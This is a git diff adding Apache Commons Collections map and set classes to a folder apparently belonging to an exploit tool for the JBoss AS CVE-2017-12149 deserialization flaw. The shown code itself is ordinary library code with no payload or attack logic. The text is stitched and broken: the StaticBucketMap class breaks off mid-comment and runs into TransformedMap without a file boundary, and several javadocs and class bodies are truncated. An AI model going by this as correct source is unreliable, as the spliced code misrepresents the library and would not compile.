+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.map;
+
+import java.util.AbstractCollection;
+import java.util.AbstractSet;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.NoSuchElementException;
+import java.util.Set;
+
+import org.apache.commons.collections.KeyValue;
+
+/**
+ * A StaticBucketMap is an efficient, thread-safe implementation of
+ *
+ *
+ * Each bucket in the hash table has its own monitor, so two threads can
+ * safely operate on the map at the same time, often without incurring any
+ * monitor contention. This means that you don't have to wrap instances
+ * of this class with {@link java.util.Collections#synchronizedMap(Map)};
+ * instances are already thread-safe. Unfortunately, however, this means
+ * that this map implementation behaves in ways you may find disconcerting.
+ * Bulk operations, such as {@link #putAll(Map) putAll} or the
+ * {@link Collection#retainAll(Collection) retainAll} operation in collection
+ * views, are not atomic. If two threads are simultaneously
+ * executing
+ *
+ *
+ *
+ * Also, much like an encyclopedia, the results of {@link #size()} and
+ * {@link #isEmpty()} are out-of-date as soon as they are produced.
+ *
+ * The iterators returned by the collection views of this class are not
+ * fail-fast. They will never raise a
+ * {@link java.util.ConcurrentModificationException}. Keys and values
+ * added to the map after the iterator is created do not necessarily appear
+ * during iteration. Similarly, the iterator does not necessarily fail to
+ * return keys and values that were removed after the iterator was created.
+ *
+ * Finally, unlike {@link java.util.HashMap}-style implementations, this
+ * class never rehashes the map. The number of buckets is fixed
+ * at construction time and never altered. Performance may degrade if
+ * you do not allocate enough buckets upfront.
+ *
+ * The {@link #atomic(Runnable)} method is provided to allow atomic iterations
+ * and bulk operations; however, overuse of {@link #atomic(Runnable) atomic}
+ * will basically result in a map that's slower than an ordinary synchronized
+ * {@link java.util.HashMap}.
+ *
+ * Use this class if you do not require reliable bulk operations and
+ * iterations, or if you can make your own guarantees about how bulk
+ * operations will affect the map.
+ *
+ * @since Commons Collections 3.0 (previously in main package v2.1)
+ * @version $Revision: 1.11 $ $Date: 2004/02/18 01:13:19 $
+ *
+ * @author Berin Loritsch
+ * @author Gerhard Froehlich
+ * @author Michael A. Smith
+ * @author Paul Jack
+ * @author Leo Sutic
+ * @author Janek Bogucki
+ */
+public final class StaticBucketMap implements Map {
+
+ /** The default number of buckets to use */
+ private static final int DEFAULT_BUCKETS = 255;
+ /** The array of buckets, where the actual data is held */
+ private Node[] buckets;
+ /** The matching array of locks */
+ private Lock[] locks;
+
+ /**
+ * Initializes the map with the default number of buckets (255).
+ */
+ public StaticBucketMap() {
+ this(DEFAULT_BUCKETS);
+ }
+
+ /**
+ * Initializes the map with a specified number of buckets. The number
+ * of buckets is never below 17, and is always an odd number (StaticBucketMap
+ * ensures this). The number of buckets is inversely proportional to the
+ * chances for thread contention. The fewer buckets, the more chances for
+ * thread contention. The more buckets the fewer chances for thread
+ * contention.
+ *
+ * @param numBuckets the number of buckets for this map
+ */
+ public StaticBucketMap(int numBuckets) {
+ int size = Math.max(17, numBuckets);
+
+ // Ensure that bucketSize is never a power of 2 (to ensure maximal distribution)
+ if (size % 2 == 0) {
+ size--;
+ }
+
+ buckets = new Node[size];
+ locks = new Lock[size];
+
+ for (int i = 0; i < size; i++) {
+ locks[i] = new Lock();
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Determine the exact hash entry for the key. The hash algorithm
+ * is rather simplistic, but it does the job:
+ *
+ *
+ * He is the entry's hashCode, Hk is the key's hashCode, and n is
+ * the number of buckets.
+ *
+ * The Map put methods and Map.Entry setValue method are affected by this class.
+ * Thus objects must be removed or searched for using their transformed form.
+ * For example, if the transformation converts Strings to Integers, you must
+ * use the Integer form to remove objects.
+ *
+ * This class is Serializable from Commons Collections 3.1.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.11 $ $Date: 2004/06/07 22:14:42 $
+ *
+ * @author Stephen Colebourne
+ */
+public class TransformedMap
+ extends AbstractInputCheckedMapDecorator
+ implements Serializable {
+
+ /** Serialization version */
+ private static final long serialVersionUID = 7023152376788900464L;
+
+ /** The transformer to use for the key */
+ protected final Transformer keyTransformer;
+ /** The transformer to use for the value */
+ protected final Transformer valueTransformer;
+
+ /**
+ * Factory method to create a transforming map.
+ *
+ * If there are any elements already in the map being decorated, they
+ * are NOT transformed.
+ *
+ * @param map the map to decorate, must not be null
+ * @param keyTransformer the transformer to use for key conversion, null means no conversion
+ * @param valueTransformer the transformer to use for value conversion, null means no conversion
+ * @throws IllegalArgumentException if map is null
+ */
+ public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
+ return new TransformedMap(map, keyTransformer, valueTransformer);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * If there are any elements already in the collection being decorated, they
+ * are NOT transformed.
+ *
+ * @param map the map to decorate, must not be null
+ * @param keyTransformer the transformer to use for key conversion, null means no conversion
+ * @param valueTransformer the transformer to use for value conversion, null means no conversion
+ * @throws IllegalArgumentException if map is null
+ */
+ protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
+ super(map);
+ this.keyTransformer = keyTransformer;
+ this.valueTransformer = valueTransformer;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Write the map out using a custom routine.
+ *
+ * @param out the output stream
+ * @throws IOException
+ * @since Commons Collections 3.1
+ */
+ private void writeObject(ObjectOutputStream out) throws IOException {
+ out.defaultWriteObject();
+ out.writeObject(map);
+ }
+
+ /**
+ * Read the map in using a custom routine.
+ *
+ * @param in the input stream
+ * @throws IOException
+ * @throws ClassNotFoundException
+ * @since Commons Collections 3.1
+ */
+ private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
+ in.defaultReadObject();
+ map = (Map) in.readObject();
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Transforms a key.
+ *
+ * The transformer itself may throw an exception if necessary.
+ *
+ * @param object the object to transform
+ * @throws the transformed object
+ */
+ protected Object transformKey(Object object) {
+ if (keyTransformer == null) {
+ return object;
+ }
+ return keyTransformer.transform(object);
+ }
+
+ /**
+ * Transforms a value.
+ *
+ * The transformer itself may throw an exception if necessary.
+ *
+ * @param object the object to transform
+ * @throws the transformed object
+ */
+ protected Object transformValue(Object object) {
+ if (valueTransformer == null) {
+ return object;
+ }
+ return valueTransformer.transform(object);
+ }
+
+ /**
+ * Transforms a map.
+ *
+ * The transformer itself may throw an exception if necessary.
+ *
+ * @param map the map to transform
+ * @throws the transformed object
+ */
+ protected Map transformMap(Map map) {
+ Map result = new LinkedMap(map.size());
+ for (Iterator it = map.entrySet().iterator(); it.hasNext(); ) {
+ Map.Entry entry = (Map.Entry) it.next();
+ result.put(transformKey(entry.getKey()), transformValue(entry.getValue()));
+ }
+ return result;
+ }
+
+ /**
+ * Override to transform the value when using
+ * The Map put methods and Map.Entry setValue method are affected by this class.
+ * Thus objects must be removed or searched for using their transformed form.
+ * For example, if the transformation converts Strings to Integers, you must
+ * use the Integer form to remove objects.
+ *
+ * This class is Serializable from Commons Collections 3.1.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.6 $ $Date: 2004/04/09 10:36:01 $
+ *
+ * @author Stephen Colebourne
+ */
+public class TransformedSortedMap
+ extends TransformedMap
+ implements SortedMap {
+
+ /** Serialization version */
+ private static final long serialVersionUID = -8751771676410385778L;
+
+ /**
+ * Factory method to create a transforming sorted map.
+ *
+ * If there are any elements already in the map being decorated, they
+ * are NOT transformed.
+ *
+ * @param map the map to decorate, must not be null
+ * @param keyTransformer the predicate to validate the keys, null means no transformation
+ * @param valueTransformer the predicate to validate to values, null means no transformation
+ * @throws IllegalArgumentException if the map is null
+ */
+ public static SortedMap decorate(SortedMap map, Transformer keyTransformer, Transformer valueTransformer) {
+ return new TransformedSortedMap(map, keyTransformer, valueTransformer);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * If there are any elements already in the collection being decorated, they
+ * are NOT transformed.
+ * The validation of additions is performed via an instanceof test against
+ * a specified
+ * The returned implementation is Serializable from Commons Collections 3.1.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.6 $ $Date: 2004/05/07 23:17:13 $
+ *
+ * @author Stephen Colebourne
+ * @author Matthew Hawthorne
+ */
+public class TypedMap {
+
+ /**
+ * Factory method to create a typed map.
+ *
+ * If there are any elements already in the map being decorated, they
+ * are validated.
+ *
+ * @param map the map to decorate, must not be null
+ * @param keyType the type to allow as keys, must not be null
+ * @param valueType the type to allow as values, must not be null
+ * @throws IllegalArgumentException if list or type is null
+ * @throws IllegalArgumentException if the list contains invalid elements
+ */
+ public static Map decorate(Map map, Class keyType, Class valueType) {
+ return new PredicatedMap(
+ map,
+ InstanceofPredicate.getInstance(keyType),
+ InstanceofPredicate.getInstance(valueType)
+ );
+ }
+
+ /**
+ * Restrictive constructor.
+ */
+ protected TypedMap() {
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/TypedSortedMap.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/TypedSortedMap.java"
new file mode 100644
index 0000000..32d57ea
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/TypedSortedMap.java"
@@ -0,0 +1,66 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.map;
+
+import java.util.SortedMap;
+
+import org.apache.commons.collections.functors.InstanceofPredicate;
+
+/**
+ * Decorates another
+ * The validation of additions is performed via an instanceof test against
+ * a specified
+ * The returned implementation is Serializable from Commons Collections 3.1.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.6 $ $Date: 2004/05/07 23:18:26 $
+ *
+ * @author Stephen Colebourne
+ * @author Matthew Hawthorne
+ */
+public class TypedSortedMap {
+
+ /**
+ * Factory method to create a typed sorted map.
+ *
+ * If there are any elements already in the map being decorated, they
+ * are validated.
+ *
+ * @param map the map to decorate, must not be null
+ * @param keyType the type to allow as keys, must not be null
+ * @param valueType the type to allow as values, must not be null
+ * @throws IllegalArgumentException if list or type is null
+ * @throws IllegalArgumentException if the list contains invalid elements
+ */
+ public static SortedMap decorate(SortedMap map, Class keyType, Class valueType) {
+ return new PredicatedSortedMap(
+ map,
+ InstanceofPredicate.getInstance(keyType),
+ InstanceofPredicate.getInstance(valueType)
+ );
+ }
+
+ /**
+ * Restrictive constructor.
+ */
+ protected TypedSortedMap() {
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/UnmodifiableEntrySet.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/UnmodifiableEntrySet.java"
new file mode 100644
index 0000000..bc93e3d
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/UnmodifiableEntrySet.java"
@@ -0,0 +1,162 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.map;
+
+import java.lang.reflect.Array;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Set;
+
+import org.apache.commons.collections.Unmodifiable;
+import org.apache.commons.collections.iterators.AbstractIteratorDecorator;
+import org.apache.commons.collections.keyvalue.AbstractMapEntryDecorator;
+import org.apache.commons.collections.set.AbstractSetDecorator;
+
+/**
+ * Decorates a map entry
+ * This class is Serializable from Commons Collections 3.1.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.10 $ $Date: 2004/04/09 10:32:25 $
+ *
+ * @author Stephen Colebourne
+ */
+public final class UnmodifiableMap
+ extends AbstractMapDecorator
+ implements IterableMap, Unmodifiable, Serializable {
+
+ /** Serialization version */
+ private static final long serialVersionUID = 2737023427269031941L;
+
+ /**
+ * Factory method to create an unmodifiable map.
+ *
+ * @param map the map to decorate, must not be null
+ * @throws IllegalArgumentException if map is null
+ */
+ public static Map decorate(Map map) {
+ if (map instanceof Unmodifiable) {
+ return map;
+ }
+ return new UnmodifiableMap(map);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param map the map to decorate, must not be null
+ * @throws IllegalArgumentException if map is null
+ */
+ private UnmodifiableMap(Map map) {
+ super(map);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Write the map out using a custom routine.
+ *
+ * @param out the output stream
+ * @throws IOException
+ * @since Commons Collections 3.1
+ */
+ private void writeObject(ObjectOutputStream out) throws IOException {
+ out.defaultWriteObject();
+ out.writeObject(map);
+ }
+
+ /**
+ * Read the map in using a custom routine.
+ *
+ * @param in the input stream
+ * @throws IOException
+ * @throws ClassNotFoundException
+ * @since Commons Collections 3.1
+ */
+ private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
+ in.defaultReadObject();
+ map = (Map) in.readObject();
+ }
+
+ //-----------------------------------------------------------------------
+ public void clear() {
+ throw new UnsupportedOperationException();
+ }
+
+ public Object put(Object key, Object value) {
+ throw new UnsupportedOperationException();
+ }
+
+ public void putAll(Map mapToCopy) {
+ throw new UnsupportedOperationException();
+ }
+
+ public Object remove(Object key) {
+ throw new UnsupportedOperationException();
+ }
+
+ public MapIterator mapIterator() {
+ if (map instanceof IterableMap) {
+ MapIterator it = ((IterableMap) map).mapIterator();
+ return UnmodifiableMapIterator.decorate(it);
+ } else {
+ MapIterator it = new EntrySetMapIterator(map);
+ return UnmodifiableMapIterator.decorate(it);
+ }
+ }
+
+ public Set entrySet() {
+ Set set = super.entrySet();
+ return UnmodifiableEntrySet.decorate(set);
+ }
+
+ public Set keySet() {
+ Set set = super.keySet();
+ return UnmodifiableSet.decorate(set);
+ }
+
+ public Collection values() {
+ Collection coll = super.values();
+ return UnmodifiableCollection.decorate(coll);
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/UnmodifiableOrderedMap.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/UnmodifiableOrderedMap.java"
new file mode 100644
index 0000000..a83c32e
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/UnmodifiableOrderedMap.java"
@@ -0,0 +1,144 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.map;
+
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+import java.util.Collection;
+import java.util.Map;
+import java.util.Set;
+
+import org.apache.commons.collections.MapIterator;
+import org.apache.commons.collections.OrderedMap;
+import org.apache.commons.collections.OrderedMapIterator;
+import org.apache.commons.collections.Unmodifiable;
+import org.apache.commons.collections.collection.UnmodifiableCollection;
+import org.apache.commons.collections.iterators.UnmodifiableMapIterator;
+import org.apache.commons.collections.iterators.UnmodifiableOrderedMapIterator;
+import org.apache.commons.collections.set.UnmodifiableSet;
+
+/**
+ * Decorates another
+ * This class is Serializable from Commons Collections 3.1.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.8 $ $Date: 2004/04/09 10:46:32 $
+ *
+ * @author Stephen Colebourne
+ */
+public final class UnmodifiableOrderedMap
+ extends AbstractOrderedMapDecorator
+ implements Unmodifiable, Serializable {
+
+ /** Serialization version */
+ private static final long serialVersionUID = 8136428161720526266L;
+
+ /**
+ * Factory method to create an unmodifiable sorted map.
+ *
+ * @param map the map to decorate, must not be null
+ * @throws IllegalArgumentException if map is null
+ */
+ public static OrderedMap decorate(OrderedMap map) {
+ if (map instanceof Unmodifiable) {
+ return map;
+ }
+ return new UnmodifiableOrderedMap(map);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param map the map to decorate, must not be null
+ * @throws IllegalArgumentException if map is null
+ */
+ private UnmodifiableOrderedMap(OrderedMap map) {
+ super(map);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Write the map out using a custom routine.
+ *
+ * @param out the output stream
+ * @throws IOException
+ * @since Commons Collections 3.1
+ */
+ private void writeObject(ObjectOutputStream out) throws IOException {
+ out.defaultWriteObject();
+ out.writeObject(map);
+ }
+
+ /**
+ * Read the map in using a custom routine.
+ *
+ * @param in the input stream
+ * @throws IOException
+ * @throws ClassNotFoundException
+ * @since Commons Collections 3.1
+ */
+ private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
+ in.defaultReadObject();
+ map = (Map) in.readObject();
+ }
+
+ //-----------------------------------------------------------------------
+ public MapIterator mapIterator() {
+ MapIterator it = getOrderedMap().mapIterator();
+ return UnmodifiableMapIterator.decorate(it);
+ }
+
+ public OrderedMapIterator orderedMapIterator() {
+ OrderedMapIterator it = getOrderedMap().orderedMapIterator();
+ return UnmodifiableOrderedMapIterator.decorate(it);
+ }
+
+ public void clear() {
+ throw new UnsupportedOperationException();
+ }
+
+ public Object put(Object key, Object value) {
+ throw new UnsupportedOperationException();
+ }
+
+ public void putAll(Map mapToCopy) {
+ throw new UnsupportedOperationException();
+ }
+
+ public Object remove(Object key) {
+ throw new UnsupportedOperationException();
+ }
+
+ public Set entrySet() {
+ Set set = super.entrySet();
+ return UnmodifiableEntrySet.decorate(set);
+ }
+
+ public Set keySet() {
+ Set set = super.keySet();
+ return UnmodifiableSet.decorate(set);
+ }
+
+ public Collection values() {
+ Collection coll = super.values();
+ return UnmodifiableCollection.decorate(coll);
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/UnmodifiableSortedMap.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/UnmodifiableSortedMap.java"
new file mode 100644
index 0000000..bc6743f
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/UnmodifiableSortedMap.java"
@@ -0,0 +1,159 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.map;
+
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+import java.util.Collection;
+import java.util.Comparator;
+import java.util.Map;
+import java.util.Set;
+import java.util.SortedMap;
+
+import org.apache.commons.collections.Unmodifiable;
+import org.apache.commons.collections.collection.UnmodifiableCollection;
+import org.apache.commons.collections.set.UnmodifiableSet;
+
+/**
+ * Decorates another
+ * This class is Serializable from Commons Collections 3.1.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.7 $ $Date: 2004/04/09 10:46:32 $
+ *
+ * @author Stephen Colebourne
+ */
+public final class UnmodifiableSortedMap
+ extends AbstractSortedMapDecorator
+ implements Unmodifiable, Serializable {
+
+ /** Serialization version */
+ private static final long serialVersionUID = 5805344239827376360L;
+
+ /**
+ * Factory method to create an unmodifiable sorted map.
+ *
+ * @param map the map to decorate, must not be null
+ * @throws IllegalArgumentException if map is null
+ */
+ public static SortedMap decorate(SortedMap map) {
+ if (map instanceof Unmodifiable) {
+ return map;
+ }
+ return new UnmodifiableSortedMap(map);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param map the map to decorate, must not be null
+ * @throws IllegalArgumentException if map is null
+ */
+ private UnmodifiableSortedMap(SortedMap map) {
+ super(map);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Write the map out using a custom routine.
+ *
+ * @param out the output stream
+ * @throws IOException
+ * @since Commons Collections 3.1
+ */
+ private void writeObject(ObjectOutputStream out) throws IOException {
+ out.defaultWriteObject();
+ out.writeObject(map);
+ }
+
+ /**
+ * Read the map in using a custom routine.
+ *
+ * @param in the input stream
+ * @throws IOException
+ * @throws ClassNotFoundException
+ * @since Commons Collections 3.1
+ */
+ private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
+ in.defaultReadObject();
+ map = (Map) in.readObject();
+ }
+
+ //-----------------------------------------------------------------------
+ public void clear() {
+ throw new UnsupportedOperationException();
+ }
+
+ public Object put(Object key, Object value) {
+ throw new UnsupportedOperationException();
+ }
+
+ public void putAll(Map mapToCopy) {
+ throw new UnsupportedOperationException();
+ }
+
+ public Object remove(Object key) {
+ throw new UnsupportedOperationException();
+ }
+
+ public Set entrySet() {
+ Set set = super.entrySet();
+ return UnmodifiableEntrySet.decorate(set);
+ }
+
+ public Set keySet() {
+ Set set = super.keySet();
+ return UnmodifiableSet.decorate(set);
+ }
+
+ public Collection values() {
+ Collection coll = super.values();
+ return UnmodifiableCollection.decorate(coll);
+ }
+
+ //-----------------------------------------------------------------------
+ public Object firstKey() {
+ return getSortedMap().firstKey();
+ }
+
+ public Object lastKey() {
+ return getSortedMap().lastKey();
+ }
+
+ public Comparator comparator() {
+ return getSortedMap().comparator();
+ }
+
+ public SortedMap subMap(Object fromKey, Object toKey) {
+ SortedMap map = getSortedMap().subMap(fromKey, toKey);
+ return new UnmodifiableSortedMap(map);
+ }
+
+ public SortedMap headMap(Object toKey) {
+ SortedMap map = getSortedMap().headMap(toKey);
+ return new UnmodifiableSortedMap(map);
+ }
+
+ public SortedMap tailMap(Object fromKey) {
+ SortedMap map = getSortedMap().tailMap(fromKey);
+ return new UnmodifiableSortedMap(map);
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/package.html" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/package.html"
new file mode 100644
index 0000000..0c304d7
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/package.html"
@@ -0,0 +1,54 @@
+
+
+
+This package contains implementations of the
+{@link java.util.Map Map},
+{@link org.apache.commons.collections.IterableMap IterableMap},
+{@link org.apache.commons.collections.OrderedMap OrderedMap} and
+{@link java.util.SortedMap SortedMap} interfaces.
+A Map provides a lookup from a key to a value.
+A number of implementations also support the new MapIterator interface that enables
+simple iteration of map keys and values.
+
+The following implementations are provided:
+
+The following decorators are provided:
+
+ Commons-Collections contains implementations, enhancements and utilities
+ that complement the Java Collections Framework.
+
+ The Apache Jakarta Commons Collections Framework component adds a significant
+ amount of enhancements to the standard JDK collections. These enhancements
+ come in the form of new interfaces, new implementations and utility classes.
+
+ See also the
+ Commons-Collections defines a number of key interfaces:
+
+ In addition to the interfaces, there are many implementations.
+ Consult each subpackage for full details of these.
+
+This package contains the interfaces and utilities shared across all the subpackages of this component.
+
+The following collection implementations are provided in the package:
+
+
+
\ No newline at end of file
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/AbstractSerializableSetDecorator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/AbstractSerializableSetDecorator.java"
new file mode 100644
index 0000000..dc1a5b0
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/AbstractSerializableSetDecorator.java"
@@ -0,0 +1,69 @@
+/*
+ * Copyright 2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.set;
+
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+import java.util.Collection;
+import java.util.Set;
+
+/**
+ * Serializable subclass of AbstractSetDecorator.
+ *
+ * @author Stephen Colebourne
+ * @since Commons Collections 3.1
+ */
+public abstract class AbstractSerializableSetDecorator
+ extends AbstractSetDecorator
+ implements Serializable {
+
+ /** Serialization version */
+ private static final long serialVersionUID = 1229469966212206107L;
+
+ /**
+ * Constructor.
+ */
+ protected AbstractSerializableSetDecorator(Set set) {
+ super(set);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Write the set out using a custom routine.
+ *
+ * @param out the output stream
+ * @throws IOException
+ */
+ private void writeObject(ObjectOutputStream out) throws IOException {
+ out.defaultWriteObject();
+ out.writeObject(collection);
+ }
+
+ /**
+ * Read the set in using a custom routine.
+ *
+ * @param in the input stream
+ * @throws IOException
+ * @throws ClassNotFoundException
+ */
+ private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
+ in.defaultReadObject();
+ collection = (Collection) in.readObject();
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/AbstractSetDecorator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/AbstractSetDecorator.java"
new file mode 100644
index 0000000..c483dfe
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/AbstractSetDecorator.java"
@@ -0,0 +1,61 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.set;
+
+import java.util.Set;
+
+import org.apache.commons.collections.collection.AbstractCollectionDecorator;
+
+/**
+ * Decorates another
+ * Methods are forwarded directly to the decorated set.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.4 $ $Date: 2004/06/02 21:53:03 $
+ *
+ * @author Stephen Colebourne
+ */
+public abstract class AbstractSetDecorator extends AbstractCollectionDecorator implements Set {
+
+ /**
